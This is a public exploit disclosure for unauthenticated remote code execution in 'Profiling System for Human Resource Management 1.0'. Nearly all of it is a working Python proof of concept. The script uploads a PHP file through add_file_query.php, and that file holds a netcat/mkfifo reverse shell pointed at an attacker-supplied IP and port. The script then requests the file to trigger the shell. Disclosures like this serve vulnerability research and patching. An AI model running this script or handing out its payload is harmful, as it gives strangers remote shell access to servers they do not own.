Profiling System for Human Resource Management 1.0 - Remote Code Execution (Unauthenticated)

# Exploit Title: Profiling System for Human Resource Management 1.0 - Remote Code Execution (Unauthenticated)
# Date: 19-03-2021
# Exploit Author: Christian Vierschilling
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/11222/profiling-system-human-resource-management.html
# Software Download: https://www.sourcecodester.com/download-code?nid=11222&title=Profiling+System+For+Human+Resource+Management+using+PHP%2FPDO+with+Source+Code
# Version: 1.0
# Tested on: PHP 7.4.14, Linux x64_x86

# --- Description --- #

# The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.

# --- Proof of concept --- #

#!/usr/bin/python3
import random
import sys
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

def file_upload(target_ip, attacker_ip, attacker_port):
  random_number = str(random.randint(100000000,999999999))
  file_name = random_number + "shell.php"
  revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)
  m = MultipartEncoder(fields={'upload': '', 'per_file': (file_name, revshell_string, 'application/x-php')})
  print("(+) Uploading php reverse shell file ..")
  r1 = requests.post('http://{}/ProfilingSystem/add_file_query.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type})
  if not "Sorry, there was an error uploading your file." in r1.text:
    print("(+) File uploaded to: http://{}/ProfilingSystem/uploads/{}".format(target_ip,file_name))
    return file_name
  else:
    print("(-) Oh noes, error occured while uploading the file.. quitting!")
    exit()

def trigger_shell(target_ip, target_file_name):
  url = 'http://{}/ProfilingSystem/uploads/{}'.format(target_ip, target_file_name)
  print("(+) Now trying to trigger our shell..")
  r2 = requests.get(url)
  if r2.status_code != 200:
    print("(-) Oh noes, we can't reach the uploaded file.. did it upload correctly?! Quitting!")
    exit()
  else:
    return None

def main():
  if len(sys.argv) != 4:
    print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0])
    print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0])
    sys.exit(-1)

  print("--- Exploiting today: Profiling System for Human Resource Management 1.0 ---")
  print("----------------------------------------------------------------------------")
  target_ip = sys.argv[1]
  attacker_ip = sys.argv[2]
  attacker_port = sys.argv[3]

  target_file_name = file_upload(target_ip, attacker_ip, attacker_port)
  trigger_shell(target_ip, target_file_name)

  print("(+) done!")

if __name__ == "__main__":
  main()